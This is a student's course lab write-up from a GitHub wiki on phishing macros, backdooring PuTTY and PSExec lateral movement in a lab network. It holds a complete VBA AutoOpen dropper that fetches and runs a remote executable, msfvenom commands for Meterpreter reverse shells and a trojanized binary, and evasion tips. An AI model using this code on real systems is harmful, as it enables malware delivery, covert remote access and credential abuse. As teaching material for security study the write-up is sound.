Initial Access and Execution Techniques ‐ Phishing, Backdooring, and Lateral Movement - aljimenez28/SEC-335 GitHub Wiki

🌟 Pre-requisites

  1. Install Microsoft Word on your Windows 10 host using the provided installer as champuser: https://tinyurl.com/2wfxfyb5
  2. Extract the file and double-click on the ‘install’ script.
  3. Wait for the install to finish. When it completes, it will have installed Microsoft Word.
  4. Ensure Metasploit Framework is installed on your Kali/attack VM (msfconsole)
  5. Have network connectivity between your attack VM and the Windows 10 target
{7094AC7D-FE16-4033-902B-BD8D21623ED4}
  1. Perform all tasks as champuser unless otherwise specified

Task 1: Macro Creation and Delivery

Objective: Create a malicious macro in Microsoft Word that downloads and executes a payload, demonstrating the technique threat actors use in phishing campaigns.

Note: This task demonstrates how macro-based phishing attacks work. The macro you create will download one of the exes from your Metasploit handler and execute it. This is the same technique used by advanced persistent threat groups in targeted attacks.

{AA859E62-06F3-40EF-918F-36ADF9167ED3}

1. Open Word and navigate to View > Macros > View Macros

2. Enter "AutoOpen" as the Macro Name and click Create

{F906C46A-EEEF-45E1-A192-44F10AF795E9}

3. In the VBA editor, delete the default content and paste the provided macro code

Sub AutoOpen()
    Dim objShell As Object
    Dim objHTTP As Object
    Dim objStream As Object
    Dim strPath As String
    Dim strURL As String
    
    ' --- CONFIGURATION ---
    ' REPLACE THIS WITH YOUR ACTUAL IP ADDRESS AND RAT NAME
    strURL = "http://YOUR_ACTUAL_IP:PORT/RAT.exe"
    strPath = Environ("USERPROFILE") & "\Documents\launcher.exe"
    ' ---------------------

    ' 1. Validate URL
    If InStr(strURL, "YOUR_ACTUAL_IP") > 0 Then
        MsgBox "ERROR: You must replace YOUR_ACTUAL_IP with your real IP address.", vbCritical
        Exit Sub
    End If
    
    On Error GoTo ErrHandler
    
    ' 2. Download File
    Set objHTTP = CreateObject("MSXML2.XMLHTTP")
    objHTTP.Open "GET", strURL, False
    objHTTP.Send
    
    If objHTTP.Status <> 200 Then
        MsgBox "Download Failed. HTTP Status: " & objHTTP.Status, vbCritical
        Exit Sub
    End If
    
    ' 3. Save File
    Set objStream = CreateObject("ADODB.Stream")
    objStream.Type = 1 ' adTypeBinary
    objStream.Open
    objStream.Write objHTTP.ResponseBody
    objStream.Position = 0
    objStream.SaveToFile strPath, 2 ' adSaveCreateOverWrite
    objStream.Close
    
    ' 4. Verify File Exists
    If Dir(strPath) = "" Then
        MsgBox "CRITICAL: File was not saved to disk.", vbCritical
        Exit Sub
    End If
    
    ' 5. Run File
    Set objShell = CreateObject("WScript.Shell")
    ' Use cmd /c to ensure proper batch execution
    objShell.Run "cmd /c """ & strPath & """", 0, False
    
    Exit Sub

ErrHandler:
    MsgBox "ERROR " & Err.Number & ": " & Err.Description, vbCritical
End Sub
{B4E7EC6C-50AA-4F78-969F-FE5FF60E465B}

4. Replace the placeholder IP address (YOUR_ACTUAL_IP) with the IP address of your attack VM (10.0.17.47)

image

5. Set up your Metasploit listener to receive the connection

  • In one tab:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=5555 -f exe > RAT.exe
image
cd Desktop
python3 -m http.server 8000
image
  • In another tab run the following series of commands:
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.17.47
set LPORT 6666
exploit -j

6. Click the Play button in the VBA editor to execute the macro

image

7. Verify that a shell session is established in Metasploit

image

8. Kill the Metasploit session and restart the listener for subsequent tasks

sessions -k 1
image

Video with macro

Questions to answer:

1. Explain how this macro achieves code execution

The "AutoOpen" name tells Microsoft Word to automatically run it when a document is open. From there, it downloads RAT.exe from our Linux machine and then saves it to a documents folder.

2. MITRE ATT&CK technique ID

T1566.001 (Phishing via Spearphishing Attachment)

3. Why is the "AutoOpen" macro name significant?

"AutoOpen" macro name is significant because it will tell Microsoft Word to run the macro when a document is opened. This allows the malicious script to be run without having to manually run it.

4. What defensive measures can organizations implement to block macro-based attacks?

A good way to block macro-based attacks to organizations is to completely disable them across the business if they are not business critical. If they are critical to a business, another way could be to configure policies to only accept digitally signed macros using PKI certificates.

Part 2: Backdoor an Executable

Objective: Add a backdoor to a legitimate Windows program that you’d use on a day-to-day basis , demonstrating how supply chain attacks and trojanized software can be used to maintain covert access.

image

1. Download several legitimate Windows executables you would use regularly (e.g., PuTTY, WinSCP, or apps from PortableApps.com)

  • Download putty
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

🚨Don't forget to enable ssh on Linux so it has the ability to receive through port 22🚨

2. Locate a resource on backdooring EXE files with msfvenom to understand the technique

OffSec Resource on backdooring EXE files

3. Use msfvenom to embed a Meterpreter payload into the executable

msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=10.0.17.47 lport=8000 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe
  • With this command, msf venom injects the meterpreter payload into our executable

  • shikata_ga_nai encodes it three times and saves the backdoored file into our webroot directory

image

4. Set up your Metasploit listener to receive the connection

5. Execute the backdoored program on your Windows 10 VM

  • Run
Invoke-WebRequest -Uri "http://10.0.17.47:8000/puttyX.exe" -OutFile "C:\Users\champuser\desktop\putty.exe"
  • Open putty and SSH into your Linux machine
image

6. Verify that a Meterpreter session is established

** PROBLEM: **

malware successfully embedded into putty. Putty is being uploaded to desktop and run from desktop but whenever I try to run the program it doesn't open.

image image image

7. Verify that the original program still functions normally for the end user

8. Kill the session and restart the listener for subsequent tasks

Questions to Answer:

1. How does this technique achieve persistence and evasion?

This technique achieves persistence and evasion by pretending to be a legitimate program and executing as such. Therefore, the antivirus software can't recognize it at face value.

2. MITRE ATT&CK technique ID

T1027.009 (Embedded Payloads)

**3. Why is it difficult for antivirus software to detect backdoored executables? **

It's difficult for antivirus software to detect backdoored executables because they appear and function the same as normal and verified programs. Antivirus software usually looks at files but since the executable is embedded into the program, it is more difficult to detect.

4. How could an attacker distribute a backdoored executable at scale?

The easiest way for an attacker to distribute a backdoored executable is by posting it publicly, either on a public forum (social media) or a website, where people can freely download it to their devices.

5. What is the risk of using unsigned or unverified software from third-party sources?

Backdoored executables is the risk. You could download software with something malicious embedded in it if you are not already downloading a virus itself.

Task 3: Credential-Based Lateral Movement with PSExec

Objective: Use stolen credentials with Metasploit's PSExec module to gain remote access to the target system and enumerate it using Meterpreter.

image

🌟 Pre-requisites

  1. Ensure you have valid champuser credentials for the Windows 10 VM

  2. Configure the Windows 10 VM to allow PSExec by adding the required registry key:

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
  1. Disable the Windows Firewall on the target VM for this lab exercise

Steps

  1. Search for and configure the PSExec module in Metasploit
  2. Set all required options (RHOST, SMBUSER, SMBPASS) and verify with show options
  3. Use a Meterpreter payload: windows/x64/meterpreter/reverse_https

Using reverse_https instead of reverse_tcp is significant because HTTPS traffic blends with normal web browsing and is less likely to be flagged by network monitoring tools. The non-default port selection demonstrates operational awareness, as port 4444 is a well-known indicator of Metasploit activity.

  1. Use a non-default port (not 4444) to avoid triggering common alerts
  2. Execute the module and verify the Meterpreter session is established
  3. Run getuid to confirm your user security context
  4. Execute the following enumeration commands in Meterpreter and document each:
    • ipconfig
    • sysinfo
    • ps
    • netstat -an
    • 5 additional enumeration commands of your choice

** PROBLEM: Session won't open because "access is denied" **

image
⚠️ **GitHub.com Fallback** ⚠️